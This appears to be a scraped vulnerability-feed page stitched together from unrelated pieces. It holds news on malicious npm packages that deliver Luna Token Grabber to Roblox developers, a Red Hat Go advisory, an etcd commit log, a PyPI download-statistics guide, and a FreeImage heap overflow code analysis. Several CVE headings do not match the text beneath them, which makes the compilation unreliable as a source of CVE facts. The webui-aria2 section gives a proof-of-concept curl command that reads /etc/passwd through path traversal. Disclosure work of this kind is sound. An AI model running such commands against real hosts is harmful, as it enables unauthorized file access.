More than a dozen malicious packages have been discovered on the npm package repository since the start of August 2023 with capabilities to deploy an open-source information stealer called Luna Token Grabber on systems belonging to Roblox developers.
The ongoing campaign, first detected on August 1 by ReversingLabs, employs modules that masquerade as the legitimate package noblox.js, an API

Software Security / Malware

More than a dozen malicious packages have been discovered on the npm package repository since the start of August 2023 with capabilities to deploy an open-source information stealer called **Luna Token Grabber** on systems belonging to Roblox developers.

The ongoing campaign, first detected on August 1 by ReversingLabs, employs modules that masquerade as the legitimate package noblox.js, an API wrapper that's used to create scripts that interact with the Roblox gaming platform.

The software supply chain security company described the activity as a "replay of an attack uncovered two years ago" in October 2021.

"The malicious packages \[...\] reproduce code from the legitimate noblox.js package but add malicious, information-stealing functions," software threat researcher Lucija Valentić said in a Tuesday analysis.

The packages were cumulatively downloaded 963 times before they were taken down. The names of the rogue packages are as follows -

*   noblox.js-vps (versions 4.14.0 to 4.23.0)
*   noblox.js-ssh (versions 4.2.3 to 4.2.5)
*   noblox.js-secure (versions 4.1.0, 4.2.0 to 4.2.3)

While the broad contours of the latest attack wave remain similar to the previous one, it also exhibits some unique characteristics of its own, notably in the deployment of an executable that delivers Luna Grabber.

The development is one of the rare instances of a multi-stage infection sequence uncovered on npm, ReversingLabs said.

"With malicious campaigns that target the software supply chain, the difference between sophisticated and unsophisticated attacks often comes down to the level of effort the malicious actors make to disguise their attack and make their malicious packages look legitimate," Valentić pointed out.

The modules, in particular, cleverly conceal their malicious functionality in a separate file named postinstall.js that's invoked after installation.

That's because the genuine noblox.js package also employs a file with the same name to display a thank you message to its users alongside links to its documentation and GitHub repository.

The bogus variants, on the other hand, utilize the JavaScript file to verify to see if the package is installed on a Windows machine, and if so, download and execute a second-stage payload hosted on Discord CDN, or alternatively, show an error message.

ReversingLabs said that the second-stage continued to evolve with each iteration, progressively adding more functionality and obfuscation mechanisms to thwart analysis. The primary responsibility of the script is to download Luna Token Grabber, a Python tool that can siphon credentials from web browsers as well as Discord tokens.

However, it appears that the threat actor behind the npm campaign appears to have opted only to harvest system information from victims using a configurable builder made available by the author(s) behind Luna Token Grabber.

This is not the first time Luna Token Grabber has been spotted in the wild. Earlier this June, Trellix disclosed details of a new Go-based information stealer called Skuld that overlaps with the malware strain.

"It highlights yet again the trend of malicious actors using typosquatting as a technique to fool developers into downloading malicious code under the guise of similarly named, legitimate packages," Valentić said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Over a Dozen Malicious npm Packages Target Roblox Game Developers

Secondary Scheduler Operator for Red Hat OpenShift 1.1.2
Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

Related CVEs:
* CVE-2023-24532: A flaw was found in the crypto/internal/nistec golang library. The ScalarMult and ScalarBaseMult methods of the P256 Curve may return an incorrect result if called with some specific unreduced scalars, such as a scalar larger than the order of the curve. This does not impact usages of crypto/ecdsa or crypto/ecdh.
* CVE-2023-24534: A flaw was found in Golang Go, where it is vulnerable to a denial of service caused by memory exhaustion in the common function in HTTP and MIME header parsing. By sending a specially crafted request, a remote attacker can cause a denial of service.
* CVE-2023-24536: A flaw was found in Golang Go, where it is vulnerable to a denial of service caused by an issue during multipart form parsing. By sending a specially crafted input, a remote attacker can consume large amounts of CPU and memory, resulting in a denial of service.
* CVE-2023-24537: A flaw was found in Golang Go, where it is vulnerable to a denial of service caused by an infinite loop due to integer overflow when calling any of the Parse functions. By sending a specially crafted input, a remote attacker can cause a denial of service.
* CVE-2023-24538: A flaw was found in Golang Go. This flaw allows a remote attacker to execute arbitrary code on the system, caused by not properly considering backticks (`) as Javascript string delimiters. By sending a specially crafted request, an attacker execute arbitrary code on the system.
* CVE-2023-24539: A flaw was found in golang where angle brackets (<>) were not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character could result in the CSS context unexpectedly closing, allowing for the injection of unexpected HMTL if executed with untrusted input.
* CVE-2023-29400: A flaw was found in golang. Templates containing actions in unquoted HTML attributes, for example, "attr={{.}}") executed with empty input, could result in output that has unexpected results when parsed due to HTML normalization rules. This issue may allow the injection of arbitrary attributes into tags.


Skip to navigation Skip to main content

**Utilities**

*   Subscriptions
*   Downloads
*   Containers
*   Support Cases

**Infrastructure and Management**

*   Red Hat Enterprise Linux
*   Red Hat Satellite
*   Red Hat Subscription Management
*   Red Hat Insights
*   Red Hat Ansible Automation Platform

**Cloud Computing**

*   Red Hat OpenShift
*   Red Hat OpenStack Platform
*   Red Hat OpenShift Container Platform
*   Red Hat OpenShift Data Science
*   Red Hat OpenShift Dedicated
*   Red Hat Advanced Cluster Security for Kubernetes
*   Red Hat Advanced Cluster Management for Kubernetes
*   Red Hat Quay
*   Red Hat CodeReady Workspaces
*   Red Hat OpenShift Service on AWS

**Storage**

*   Red Hat Gluster Storage
*   Red Hat Hyperconverged Infrastructure
*   Red Hat Ceph Storage
*   Red Hat OpenShift Data Foundation

**Runtimes**

*   Red Hat Runtimes
*   Red Hat JBoss Enterprise Application Platform
*   Red Hat Data Grid
*   Red Hat JBoss Web Server
*   Red Hat Single Sign On
*   Red Hat support for Spring Boot
*   Red Hat build of Node.js
*   Red Hat build of Quarkus

**Integration and Automation**

All Products

Issued:

2023-08-23

Updated:

2023-08-23

**RHSA-2023:4657 - Security Advisory**

*   Overview
*   Updated Images

**Synopsis**

Moderate: Secondary Scheduler Operator for Red Hat OpenShift 1.1.2 security update

**Type/Severity**

Security Advisory: Moderate

**Topic**

Secondary Scheduler Operator for Red Hat OpenShift 1.1.2  

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

**Description**

Secondary Scheduler Operator for Red Hat OpenShift 1.1.2  

Security Fix(es):  

*   golang: crypto/internal/nistec: specific unreduced P-256 scalars produce incorrect results (CVE-2023-24532)
*   golang: net/http, net/textproto: denial of service from excessive memory allocation (CVE-2023-24534)
*   golang: net/http, net/textproto, mime/multipart: denial of service from excessive resource consumption (CVE-2023-24536)
*   golang: go/parser: Infinite loop in parsing (CVE-2023-24537)
*   golang: html/template: backticks not treated as string delimiters (CVE-2023-24538)
*   golang: html/template: improper sanitization of CSS values (CVE-2023-24539)
*   golang: html/template: improper handling of empty HTML attributes (CVE-2023-29400)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

**Affected Products**

*   Secondary Scheduler Operator for Red Hat OpenShift (OSSO) 1.0 x86\_64

**Fixes**

*   BZ - 2184481 - CVE-2023-24538 golang: html/template: backticks not treated as string delimiters
*   BZ - 2184482 - CVE-2023-24536 golang: net/http, net/textproto, mime/multipart: denial of service from excessive resource consumption
*   BZ - 2184483 - CVE-2023-24534 golang: net/http, net/textproto: denial of service from excessive memory allocation
*   BZ - 2184484 - CVE-2023-24537 golang: go/parser: Infinite loop in parsing
*   BZ - 2196026 - CVE-2023-24539 golang: html/template: improper sanitization of CSS values
*   BZ - 2196029 - CVE-2023-29400 golang: html/template: improper handling of empty HTML attributes
*   BZ - 2223355 - CVE-2023-24532 golang: crypto/internal/nistec: specific unreduced P-256 scalars produce incorrect results
*   WRKLDS-793 - New OSSO 1.1.2 release

**CVEs**

*   CVE-2020-24736
*   CVE-2022-36227
*   CVE-2023-1667
*   CVE-2023-2283
*   CVE-2023-24532
*   CVE-2023-24534
*   CVE-2023-24536
*   CVE-2023-24537
*   CVE-2023-24538
*   CVE-2023-24539
*   CVE-2023-26604
*   CVE-2023-27535
*   CVE-2023-29400

**x86\_64**

openshift-secondary-scheduler-operator/secondary-scheduler-operator-bundle@sha256:daea4461ca6a1903f2e2a1470df8fdfe413106e84e0b36789e0fb0e2bbdba333

openshift-secondary-scheduler-operator/secondary-scheduler-operator-rhel8@sha256:5804495067018a355d02f88d2324a43567f0ca2869d02dedbf47973ed6ffeeb3

The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/.

RHSA-2023:4657: Red Hat Security Advisory: Secondary Scheduler Operator for Red Hat OpenShift 1.1.2 security update

An issue in langchain v.0.0.171 allows a remote attacker to execute arbitrary code via the via the a json file to the load_prompt parameter.

**langchain vulnerable to arbitrary code execution**

Critical severity GitHub Reviewed Published Aug 22, 2023 to the GitHub Advisory Database • Updated Aug 23, 2023

GHSA-7gfq-f96f-g85j: langchain vulnerable to arbitrary code execution

By Habiba Rashid
The campaign, which began at the start of August 2023, revolves around malicious packages impersonating the legitimate noblox.js,…
This is a post from HackRead.com Read the original post: Luna Grabber Malware Hits Roblox Devs Through npm Packages

The campaign, which began at the start of August 2023, revolves around malicious packages impersonating the legitimate noblox.js, a popular Node.js Roblox API wrapper.

*   **Roblox developers are being targeted by a new malware called Luna Grabber**

*   **The malware is being distributed through malicious npm packages that impersonate legitimate software.**

*   **Luna Grabber is capable of stealing sensitive data from victims’ web browsers, Discord applications, and local system configurations.**

*   **The malware was downloaded approximately 1000 times, but its impact was relatively low due to the security measures in place to protect developers on the npm repository.**

*   **The incident highlights the growing trend of malicious actors employing typo squatting to exploit developers’ trust in legitimate software packages.**

Cybersecurity firm ReversingLabs has uncovered a sophisticated cyber attack targeting developers on the Roblox gaming platform. Malicious actors have been distributing malicious packages through the npm public repository, attempting to exploit users by mimicking legitimate software while incorporating malicious payloads that steal sensitive information from victims’ systems.

**Malware Campaign Overview**

The campaign, which began at the start of August 2023, revolves around malicious packages impersonating the legitimate noblox.js, a popular Node.js Roblox API wrapper. By infiltrating the npm public repository, attackers capitalized on unsuspecting developers seeking to interact with the Roblox gaming platform using scripts.

ReversingLabs researchers identified several malicious packages during the campaign, including noblox.js-vps, noblox.js-ssh, and noblox.js-secure. These packages were engineered to deliver multi-stage malicious payloads that targeted victims’ local web browsers and Discord applications. The most notable payload identified was Luna Grabber, an open-source malware designed to extract sensitive data.

**Malware Execution and Strategy**

Attackers meticulously designed the malicious packages to closely resemble the legitimate noblox.js package. By mirroring the original code and adopting similar naming conventions, the attackers aimed to deceive developers into downloading and using the compromised software.

The malicious packages leveraged a variety of techniques to compromise victims’ systems, including the incorporation of a separate file named postinstall.js. This post-installation script triggered the execution of a malicious payload after the package installation was completed. The malware then determined whether the victim was operating a Windows machine and proceeded to download and execute the Luna Grabber malware from Discord’s Content Delivery Network (CDN).

**Luna Grabber: Information Stealing Malware**

The research revealed that the primary payload of the malicious packages was Luna Grabber, a highly customizable malware capable of stealing information from victims’ web browsers, Discord applications, and local system configurations. The malware was also equipped with features that enabled it to detect virtual environments and initiate a self-destruct mechanism if necessary.

Interestingly, the attackers behind the campaign took advantage of the user-friendly nature of Luna Grabber’s builder application, simplifying the process of creating and configuring the malicious executable.

Screenshot shared by ReversingLabs shows Luna Grabber builder

While Luna Grabber’s open-source nature allowed attackers to tailor the malware to their needs, the choice of targeting developers on the Roblox platform suggests a focus on a specific user group.

**Limited Impact and Lessons Learned**

Despite the campaign’s sophistication, its impact remained relatively low. The malicious packages were downloaded approximately 1000 times, signalling that the security measures in place to protect developers on the npm repository were successful in limiting the reach of the attack.

The incident sheds light on the growing trend of malicious actors employing typo squatting to exploit developers’ trust in legitimate software packages. This approach has been previously observed in other campaigns, such as the IconBurst and Brainleeches campaigns.

Fake noblox.js-ssh’s npm website page (ReversingLabs)

While multi-stage malicious packages are common on certain open-source platforms, such as PyPI, their presence on npm—where this campaign took place—represents the ongoing challenge of maintaining secure open-source repositories and the importance of cautiousness in choosing software packages for development purposes.

1.  CISA warns of trojanized JavaScript library’s NPM package
2.  Discord.io Admits Data Breach: Info of 760K Users Sold Online
3.  6 official Python repositories plagued with cryptomining malware

Luna Grabber Malware Hits Roblox Devs Through npm Packages

webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability.

CVE-2023-39141 is reserved for this vulnerability

Project link:

https://github.com/ziahamza/webui-aria2/

Vulnerability type:

Path traversal

Root cause: This line https://github.com/ziahamza/webui-aria2/blob/109903f0e2774cf948698cd95a01f77f33d7dd2c/node-server.js#L10 accepts file name from URL input, without sanitizing it to be in the same directory.

PoC:

When \`node-server.js\` is used, an attacker can simply request files outside the serving path

\`curl --path-as-is http://localhost:8888/../../../../../../../../../../../../../../../../../../../../etc/passwd\`

Root cause: Attacker may read any file that the www user can read.

Vulnerable versions:

Right now all versions even latest commit "109903f0e2774cf948698cd95a01f77f33d7dd2c" are vulnerable.

CVE-2023-39141: webui-aria2 CVE-2023-39141

An issue was discovered in Geomatika IsiGeo Web 6.0. It allows remote authenticated users to retrieve PHP files from the server via Local File Inclusion.

Passer au contenu

*   Géomatika
    *   Présentation
    *   Réalisations
    *   Géoservices à la carte.
    *   Applications métiers
    *   Recrutement
    *   Formations
    *   Contact
*   IsiGéo
    *   IsiGéo Web
    *   IsiGéo API Js
    *   IsiGéo Apps
    *   Portail cartographique
    *   Boite à outils
    *   IsiGéo – Développements en cours
*   Solutions
    *   Cadastre / Urbanisme
    *   Logiciel Cimetière pour les Mairies
    *   Logiciel d’adressage
    *   Catalogage de plans Autocad
    *   Gestion de l’ANC ( Assainissement Non Collectif )
    *   Contrôle Poteaux Incendie
    *   Gestion d’un parc d’éclairage public
*   Mobilité
    *   Solutions terrain
    *   GPS centimétriques pour les SIG
*   npg
*   

IsiGéo web Géomatika2023-01-23T22:44:57+01:00

Page load link

Aller en haut

CVE-2023-23565: IsiGéo web

Etcd v3.5.4 allows remote attackers to cause a denial of service via function PageWriter.write in pagewriter.go

fix(pkg/ioutil):avoid panic in PageWriter.Write() when pageBytes is 0

fix(pkg/ioutil): Trigger a panic when pageBytes is illegal in NewPateWriter

update(Test pkg/ioutil):Update TestPageWriterPageBytes

migrate e2e & integration role\_test to common

tests: Migrate Txn tests to common functional test framework

provide a generic assert function

server: Director can be stopped

Goroutine for new directors would live past director scope. Tests
could occassionally fail if this goroutine had log events after
test execution should have ended.

server: Add director interrupt handler

Director's goroutine would not be properly stopped in a non-test
scenario. Handler stops it when process is interrupted.

server: Move director interrupt handler to method

server: Don't register director interrupt handler

remove v2 http proxy in 3.6

tests: Extract cluster test cases

tests: Refactor spawn json command

hide the revision field when it isn't populated

tests: Make common framework context aware

Documentation: Publish v3.5 data inconsistency postmortem

scripts: Avoid additional repo clone

This PR removes additional clone when building artifacts.

When releasing v3.5.4 this clone was main cause of issues and
confusion about what release script is doing.

release.sh script already clones repo in /tmp/ directory, so clonning
before build is not needed. As precautions for bug in script leaving
/tmp/ clone in bad state  I moved "Verify the latest commit has the
version tag" and added "Verify the clean working tree" to be always run
before build.

scripts: Detect staged files before building release

fix a typo: print the correct error info

Governance: Use lazy consensus when needed to make decision

In lack of supermajority, we sometimes required to hold on to
important decisions for long time. In order to speed up, after
giving enough time for supermajority, use lazy consensus.

Encapsulation of applier logic: Move Txn related code out of applier.go.

The PR removes calls to applierV3base logic from server.go that is NOT part of 'application'.
The original idea was that read-only transaction and Range call shared logic with Apply,
so they can call appliers directly (but bypassing all 'corrupt', 'quota' and 'auth' wrappers).

This PR moves all the logic to a separate file (that later can become package on its own).

Encapsulating applier logic: UberApplier coordinates all appliers for server

This PR:
 - moves wrapping of appliers (due to Alarms) out of server.go into uber\_applier.go
 - clearly devides the application logic into: chain of:
     a) 'WrapApply' (generic logic across all the methods)
     b) dispatcher (translation of Apply into specific method like 'Put')
     c) chain of 'wrappers' of the specific methods (like Put).
 - when we do recovery (restore from snapshot) we create new instance of appliers.

The purpose is to make sure we control all the depencies of the apply process, i.e.
we can supply e.g. special instance of 'backend' to the application logic.

Marge applierV3Internal into applierV3 interface

Rename EtcdServer.Id with EtcdServer.MemberId.

It was misleading and error prone vs. ClusterId.

Applier does not depend on EtcdServer any longer.

All the depencies are explicily passed to the UberApplier factory method.

Move server/etcdserver/txn.go to new package: server/etcdserver/txn

Move etcdserver/errors.go to sepatate package to avoid cyclic dependencies.

Move apply to its own package (no dependency on etcdserver).

Apply encapsulation: Cleanup metrics reporting.

Side effect: applySec(0.4s) used to be reported as 0s, now it's correctly 0.4s.

Simplify imports and improve comments.

Move CheckTxnAuth to txn.

Rename package alising "apply2" -> apply.

Rename etcdserver/etcderrors package to etcdserver/errors.

expose UberApplier as interface (not as implementation struct).

Rename the txn, so as not to be the same as the package name.

Fixing missing comment on the dispatch() function.

Rename WrapApply to Apply.

Remove unused code and apply code-quality suggestions.

use go install instead of go get

feat(pkg/ioutil): verify.Assert is introduced into NewPageWritter

add etcd tool binaries into .gitignore

CVE-2022-34038: fix(pkg/ioutil):avoid panic in PageWriter.Write() when pageBytes is 0 by secsys-go · Pull Request #14022 · etcd-io/etcd

The json2xml package through 3.12.0 for Python allows an error in typecode decoding enabling a remote attack that can lead to an exception, causing a denial of service.

This section covers how to use the public PyPI download statistics dataset to learn more about downloads of a package (or packages) hosted on PyPI. For example, you can use it to discover the distribution of Python versions used to download a package.

Contents

*   Background
    
*   Public dataset
    
    *   Getting set up
        
    *   Data schema
        
    *   Useful queries
        
        *   Counting package downloads
            
        *   Package downloads over time
            
        *   Python versions over time
            
        *   Getting absolute links to artifacts
            
*   Caveats
    
*   Additional tools
    
    *   google-cloud-bigquery
        
    *   pypinfo
        
    *   pandas-gbq
        
*   References
    

**Background¶**

PyPI does not display download statistics for a number of reasons: 1

*   **Inefficient to make work with a Content Distribution Network (CDN):** Download statistics change constantly. Including them in project pages, which are heavily cached, would require invalidating the cache more often, and reduce the overall effectiveness of the cache.
    
*   **Highly inaccurate:** A number of things prevent the download counts from being accurate, some of which include:
    
    *   pip’s download cache (lowers download counts)
        
    *   Internal or unofficial mirrors (can both raise or lower download counts)
        
    *   Packages not hosted on PyPI (for comparisons sake)
        
    *   Unofficial scripts or attempts at download count inflation (raises download counts)
        
    *   Known historical data quality issues (lowers download counts)
        
*   **Not particularly useful:** Just because a project has been downloaded a lot doesn’t mean it’s good; Similarly just because a project hasn’t been downloaded a lot doesn’t mean it’s bad!
    

In short, because it’s value is low for various reasons, and the tradeoffs required to make it work are high, it has been not an effective use of limited resources.

**Public dataset¶**

As an alternative, the Linehaul project streams download logs from PyPI to Google BigQuery 2, where they are stored as a public dataset.

**Getting set up¶**

In order to use Google BigQuery to query the public PyPI download statistics dataset, you’ll need a Google account and to enable the BigQuery API on a Google Cloud Platform project. You can run up to 1TB of queries per month using the BigQuery free tier without a credit card

*   Navigate to the BigQuery web UI.
    
*   Create a new project.
    
*   Enable the BigQuery API.
    

For more detailed instructions on how to get started with BigQuery, check out the BigQuery quickstart guide.

**Data schema¶**

Linehaul writes an entry in a bigquery-public-data.pypi.file_downloads table for each download. The table contains information about what file was downloaded and how it was downloaded. Some useful columns from the table schema include:

  

Column

Description

Examples

timestamp

Date and time

2020-03-09 00:33:03 UTC

file.project

Project name

pipenv, nose

file.version

Package version

0.1.6, 1.4.2

details.installer.name

Installer

pip, bandersnatch

details.python

Python version

2.7.12, 3.6.4

**Useful queries¶**

Run queries in the BigQuery web UI by clicking the “Compose query” button.

Note that the rows are stored in a partitioned table, which helps limit the cost of queries. These example queries analyze downloads from recent history by filtering on the timestamp column.

**Counting package downloads¶**

The following query counts the total number of downloads for the project “pytest”.

#standardSQL
SELECT COUNT(\*) AS num\_downloads
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE file.project = 'pytest'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE\_SUB(CURRENT\_DATE(), INTERVAL 30 DAY)
    AND CURRENT\_DATE()

num\_downloads

26190085

To count downloads from pip only, filter on the details.installer.name column.

#standardSQL
SELECT COUNT(\*) AS num\_downloads
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE file.project = 'pytest'
  AND details.installer.name = 'pip'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE\_SUB(CURRENT\_DATE(), INTERVAL 30 DAY)
    AND CURRENT\_DATE()

num\_downloads

24334215

**Package downloads over time¶**

To group by monthly downloads, use the TIMESTAMP_TRUNC function. Also filtering by this column reduces corresponding costs.

#standardSQL
SELECT
  COUNT(\*) AS num\_downloads,
  DATE\_TRUNC(DATE(timestamp), MONTH) AS \`month\`
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE
  file.project = 'pytest'
  -- Only query the last 6 months of history
  AND DATE(timestamp)
    BETWEEN DATE\_TRUNC(DATE\_SUB(CURRENT\_DATE(), INTERVAL 6 MONTH), MONTH)
    AND CURRENT\_DATE()
GROUP BY \`month\`
ORDER BY \`month\` DESC

 

num\_downloads

month

1956741

2018-01-01

2344692

2017-12-01

1730398

2017-11-01

2047310

2017-10-01

1744443

2017-09-01

1916952

2017-08-01

**Python versions over time¶**

Extract the Python version from the details.python column. Warning: This query processes over 500 GB of data.

#standardSQL
SELECT
  REGEXP\_EXTRACT(details.python, r"\[0-9\]+\\.\[0-9\]+") AS python\_version,
  COUNT(\*) AS num\_downloads,
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE
  -- Only query the last 6 months of history
  DATE(timestamp)
    BETWEEN DATE\_TRUNC(DATE\_SUB(CURRENT\_DATE(), INTERVAL 6 MONTH), MONTH)
    AND CURRENT\_DATE()
GROUP BY \`python\_version\`
ORDER BY \`num\_downloads\` DESC

 

python

num\_downloads

3.7

18051328726

3.6

9635067203

3.8

7781904681

2.7

6381252241

null

2026630299

3.5

1894153540

**Getting absolute links to artifacts¶**

It’s sometimes helpful to be able to get the absolute links to download artifacts from PyPI based on their hashes, e.g. if a particular project or release has been deleted from PyPI. The metadata table includes the path column, which includes the hash and artifact filename.

Note

The URL generated here is not guaranteed to be stable, but currently aligns with the URL where PyPI artifacts are hosted.

SELECT
  CONCAT('https://files.pythonhosted.org/packages', path) as url
FROM
  \`bigquery-public-data.pypi.distribution\_metadata\`
WHERE
  filename LIKE 'sampleproject%'

url

https://files.pythonhosted.org/packages/eb/45/79be82bdeafcecb9dca474cad4003e32ef8e4a0dec6abbd4145ccb02abe1/sampleproject-1.2.0.tar.gz

https://files.pythonhosted.org/packages/56/0a/178e8bbb585ec5b13af42dae48b1d7425d6575b3ff9b02e5ec475e38e1d6/sampleproject\_nomura-1.2.0-py2.py3-none-any.whl

https://files.pythonhosted.org/packages/63/88/3200eeaf22571f18d2c41e288862502e33365ccbdc12b892db23f51f8e70/sampleproject\_nomura-1.2.0.tar.gz

https://files.pythonhosted.org/packages/21/e9/2743311822e71c0756394b6c5ab15cb64ca66c78c6c6a5cd872c9ed33154/sampleproject\_doubleyoung18-1.3.0-py2.py3-none-any.whl

https://files.pythonhosted.org/packages/6f/5b/2f3fe94e1c02816fe23c7ceee5292fb186912929e1972eee7fb729fa27af/sampleproject-1.3.1.tar.gz

**Caveats¶**

In addition to the caveats listed in the background above, Linehaul suffered from a bug which caused it to significantly under-report download statistics prior to July 26, 2018. Downloads before this date are proportionally accurate (e.g. the percentage of Python 2 vs. Python 3 downloads) but total numbers are lower than actual by an order of magnitude.

**Additional tools¶**

Besides using the BigQuery console, there are some additional tools which may be useful when analyzing download statistics.

**google-cloud-bigquery¶**

You can also access the public PyPI download statistics dataset programmatically via the BigQuery API and the google-cloud-bigquery project, the official Python client library for BigQuery.

from google.cloud import bigquery

\# Note: depending on where this code is being run, you may require
\# additional authentication. See:
\# https://cloud.google.com/bigquery/docs/authentication/
client \= bigquery.Client()

query\_job \= client.query("""
SELECT COUNT(\*) AS num\_downloads
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE file.project = 'pytest'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE\_SUB(CURRENT\_DATE(), INTERVAL 30 DAY)
    AND CURRENT\_DATE()""")

results \= query\_job.result()  \# Waits for job to complete.
for row in results:
    print("{} downloads".format(row.num\_downloads))

**pypinfo¶**

pypinfo is a command-line tool which provides access to the dataset and can generate several useful queries. For example, you can query the total number of download for a package with the command pypinfo package_name.

Install pypinfo using pip.

python3 \-m pip install pypinfo

Usage:

$ pypinfo requests
Served from cache: False
Data processed: 6.87 GiB
Data billed: 6.87 GiB
Estimated cost: $0.04

| download\_count |
| -------------- |
|      9,316,415 |

**pandas-gbq¶**

The pandas-gbq project allows for accessing query results via Pandas.

**References¶**

1

PyPI Download Counts deprecation email

2

PyPI BigQuery dataset announcement email

CVE-2022-25024: Analyzing PyPI package downloads — Python Packaging User Guide

A heap overflow bug exists FreeImage before 1.18.0 via ofLoad function in PluginJPEG.cpp.

*   Summary
*   Files
*   Reviews
*   Support
*   Mailing Lists
*   Code
*   Tickets ▾
    *   Feature Requests
    *   Patches
    *   Bugs
    *   Support Requests
*   News
*   Discussion
*   FreeImage

Menu ▾ ▴

Status: open

Owner: nobody

Labels: None

Priority: 5

Updated: 2021-08-26

Created: 2021-08-26

Private: No

> tl;dr:  
> When Load SOF(Start Of Frame) JPEG files, "components" of SOF is read from file. FreeImage alloc memory size is controlled by "components" , but sometime FreeImage replace default size to alloc. if "components" is greater than default in alloc function, it will writing data more than the allocated memory.

When the program reads a JPEG file, it will be handed to the Load function of the 'PluginJPEG.cpp' file,  
in Load function, we alloc memory by FreeImage\_AllocateHeader(), and write memory in jpeg\_read\_scanlines(). And the "components" is read from file.

static FIBITMAP \* DLL\_CALLCONV
Load(FreeImageIO \*io, fi\_handle handle, int page, int flags, void \*data) {
    if (handle) {
......
        struct jpeg\_decompress\_struct cinfo;
......
            // step 3: read handle parameters with jpeg\_read\_header()

            jpeg\_read\_header(&cinfo, TRUE);                //<---- read components from file
......
            if((cinfo.output\_components \== 4) && (cinfo.out\_color\_space \== JCS\_CMYK)) {
......
            } else {
                // RGB or greyscale image              v------------ alloc memory function
                dib \= FreeImage\_AllocateHeader(header\_only, cinfo.output\_width, cinfo.output\_height, 8 \* cinfo.output\_components, FI\_RGBA\_RED\_MASK, FI\_RGBA\_GREEN\_MASK, FI\_RGBA\_BLUE\_MASK);
......
            }
......
            if((cinfo.out\_color\_space \== JCS\_CMYK) && ((flags & JPEG\_CMYK) != JPEG\_CMYK)) {
......
            } else if((cinfo.out\_color\_space \== JCS\_CMYK) && ((flags & JPEG\_CMYK) \== JPEG\_CMYK)) {
......
            } else {
                // normal case (RGB or greyscale image)

                while (cinfo.output\_scanline < cinfo.output\_height) {
                    JSAMPROW dst \= FreeImage\_GetScanLine(dib, cinfo.output\_height \- cinfo.output\_scanline \- 1);

                    jpeg\_read\_scanlines(&cinfo, &dst, 1);       // <---------- write memory
                }

                // step 7b: swap red and blue components (see LibJPEG/jmorecfg.h: #define RGB\_RED, ...)
                // The default behavior of the JPEG library is kept "as is" because LibTIFF uses 
                // LibJPEG "as is".
......
    }

    return NULL;
}

FreeImage\_AllocateHeader() alloc memory by "output\_components", but FreeImage\_AllocateHeader function maybe replace default size with it.

FIBITMAP \* DLL\_CALLCONV
FreeImage\_AllocateHeader(BOOL header\_only, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
    return FreeImage\_AllocateBitmap(header\_only, NULL, 0, FIT\_BITMAP, width, height, bpp, red\_mask, green\_mask, blue\_mask);
}

static FIBITMAP \* 
FreeImage\_AllocateBitmap(BOOL header\_only, BYTE \*ext\_bits, unsigned ext\_pitch, FREE\_IMAGE\_TYPE type, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
.......
    // check pixel bit depth
    switch(type) {
        case FIT\_BITMAP:
            switch(bpp) {
                case 1:
                case 4:
                case 8:
                    break;
                case 16:
                    need\_masks \= TRUE;
                    break;
                case 24:
                case 32:
                    break;
                default:
                    bpp \= 8;                                                                    //<---- change bpp there
                    break;
            }
            break;
.......
        size\_t dib\_size \= FreeImage\_GetInternalImageSize(header\_only || ext\_bits, width, height, bpp, need\_masks);          //<\---- calc alloc size by bpp(num\_components)

        if(dib\_size \== 0) {
            // memory allocation will fail (probably a malloc overflow)
            free(bitmap);
            return NULL;
        }

        bitmap-\>data \= (BYTE \*)FreeImage\_Aligned\_Malloc(dib\_size \* sizeof(BYTE), FIBITMAP\_ALIGNMENT);                       //<\---- real alloc function
.......
}

in FreeImage\_GetInternalImageSize(), it calc alloc size

static size\_t 
FreeImage\_GetInternalImageSize(BOOL header\_only, unsigned width, unsigned height, unsigned bpp, BOOL need\_masks) {
    size\_t dib\_size \= sizeof(FREEIMAGEHEADER);
......
    if(!header\_only) {
        const size\_t header\_size \= dib\_size;

        // pixels are aligned on a 16 bytes boundary
        dib\_size += (size\_t)CalculatePitch(CalculateLine(width, bpp)) \* (size\_t)height;    //<---alloc size by line lenght \* height, line lenght calc by width and bpp(num\_components)
......
    }

    return dib\_size;
}

but when we use jpeg\_read\_scanlines, the read size calc by "num\_components", usually equal "output\_components".

METHODDEF(void)
null\_convert (j\_decompress\_ptr cinfo,
          JSAMPIMAGE input\_buf, JDIMENSION input\_row,
          JSAMPARRAY output\_buf, int num\_rows)
{
  register JSAMPROW outptr;
  register JSAMPROW inptr;
  register JDIMENSION count;
  register int num\_comps \= cinfo\->num\_components;
  JDIMENSION num\_cols \= cinfo\->output\_width;
  int ci;

  while (\--num\_rows \>= 0) {
    /\* It seems fastest to make a separate pass for each component. \*/
    for (ci \= 0; ci < num\_comps; ci++) {
      inptr \= input\_buf\[ci\]\[input\_row\];
      outptr \= output\_buf\[0\] + ci;
      for (count \= num\_cols; count \> 0; count\--) {
    \*outptr \= \*inptr++; /\* don't need GETJSAMPLE() here \*/        //<---- copy size calc by width(output\_width) and bpp(num\_components)
    outptr += num\_comps;
      }
    }
    input\_row++;
    output\_buf++;
  }
}

callstack

